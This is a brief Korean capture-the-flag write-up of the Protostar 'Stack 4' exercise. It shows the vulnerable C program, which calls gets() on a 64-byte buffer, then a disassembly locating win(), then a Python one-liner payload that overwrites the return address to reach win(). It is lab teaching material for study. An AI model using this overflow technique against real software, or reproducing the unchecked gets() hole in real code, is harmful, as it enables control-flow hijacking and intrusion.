Protostar - Stack 4

1. 문제 Source

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
 printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
 char buffer[64];

 gets(buffer);
}

2. 풀이

user@protostar:/opt/protostar/bin$ objdump -d ./stack4

./stack4:     file format elf32-i386

...
Disassembly of section .text:
...
080483f4 <win>:
 80483f4:	55                   	push   %ebp
 80483f5:	89 e5                	mov    %esp,%ebp
 80483f7:	83 ec 18             	sub    $0x18,%esp
 80483fa:	c7 04 24 e0 84 04 08 	movl   $0x80484e0,(%esp)
 8048401:	e8 26 ff ff ff       	call   804832c <puts@plt>
 8048406:	c9                   	leave  
 8048407:	c3                   	ret
 ...

user@protostar:/opt/protostar/bin$ python -c "print 'A'*64 + 'BBBBBBBB' + 'CCCC' + '\xf4\x83\x04\x08'" | ./stack4
code flow successfully changed
Segmentation fault